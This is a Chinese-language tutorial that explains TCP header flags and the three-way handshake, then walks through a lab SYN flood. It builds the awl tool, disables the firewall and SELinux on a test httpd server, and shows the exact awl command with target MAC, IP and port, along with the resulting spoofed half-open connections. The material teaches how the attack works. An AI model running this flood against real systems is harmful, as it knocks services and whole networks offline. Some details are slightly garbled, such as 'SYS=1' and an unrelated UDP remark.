一、TCP三次握手
1.1 TCP报文段的头部格式
1.1.1 报文格式
1.1.2 部分报文内容
- ACK:TCP协议规定,只有ack=1时,有效,也规定连接建立后,所有发送的报文ack必须为1。
- SYN :在连接建立时用来同步序列号,当SYN=1,而ACK=0时,表明这是一个连接请求报文,对*同意建立连接,则应在响应报文中使SYS=1,和ACK=1,因此,SYN置1,就表示这是一个连接请求或连接接受报文。
- FIN 终结,用来释放一个连接,当FIN=1,表明此报文段的发送方数据已经发送完毕,并要求释放连接
1.2 三次握手流程
建立tcp 连接是的tcp三次握手,断开tcp 连接的四次挥手
三次握手过程:
- Client:我可以给你发数据吗
- Server:可以
- Client:好的,知道了
二、syn-洪水攻击
2.1 概念
网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN Flood。
SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包(SYN包),被攻击服务器回应第二个握手包(SYN+ACK包),因为对方是假冒IP,对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。
2.2 原理
- SYN 洪水攻击的过程:
在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的端,那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直到等待关闭超时,一般是等待30~40s,并且可以重传5,才能释放连接。
- 如果恶意者通过IP 欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接,并占用大量内存和tcp 连接,从而导致客户端无法访问服务端,这就是SYN洪水攻击的过程。
2.2 模拟攻击
2.2.1 上传安装包
1 [root@localhost ~]# cd /usr/src/
2 [root@localhost src]# ls awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz
2.2.2 解压、编译安装
[root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz
[root@localhost ~]# cd /usr/src/awl-0.2/
[root@localhost awl-0.2]# ./configure #检查安装环境
[root@localhost awl-0.2]# make -j 1
[root@localhost awl-0.2]# make install
[root@localhost ~]# awk awl
[root@localhost ~]# which awl #查看安装的位置
/usr/local/bin/awl
2.2.3 开始实战
[root@localhost ~]#
-
开始攻击
- awl 使用参数:
- 发送包的接口,如果省略默认是 eth 0
- -m 指定目标mac,如果-m 没有指定mac,默认目标mac 就是FF.FF.FF.FF.FF.FF
- 全 F 就是向同以往段所有主机发出arp 广播,进行SYN攻击,还容易使整个局域网瘫痪
- -d 被攻击的主机ip
- -p 被攻击的主机端口
-
配置服务端
[root@localhost ~]# yum -y install httpd [root@localhost ~]# systemctl start httpd [root@localhost ~]# getenforce #关闭selinux Disabled [root@localhost ~]# systemctl stop firewalld #关闭防火墙 [root@localhost ~]# [root@localhost ~]# iptables -F [root@localhost ~]# 当我们安装好后,过滤端口,发现默认只有一个80. [root@localhost ~]# [root@localhost ~]# netstat -antup |grep 80 tcp6 0 0 :::80 ::: LISTEN 1412/httpd
- 客户端发起攻击
[root@localhost ~]# arp -n # 查看arp 缓存,如果没有看到167 的ip ,说明没有产生连接,可以使用167 ssh 到121 ,然后退出,再次查看。
[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80
注意:默数几秒,ctrl +C停止操作,在去过滤167httpd服务
[root@localhost ~]# netstat -antup |grep 80
tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -
tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -
tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -
tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -
tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -
……
会发现产生大量未知的ip地址,并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认
2.2.4 小结
- tcp 三从握手,提供可靠连接
- udp 支持vxlan ,用于OpenStack 私有云、vlan 不够用
-
如果编译出现以下问题:
- configure: error:no acceptable C compiler found in $PATH
-
解决:熟悉tcp 三次握手协议
- yum -y install gcc-c++
- 熟悉tcp 三次握手协议
参考文章
https://blog.csdn.net/weixin_42313749/article/details/104686758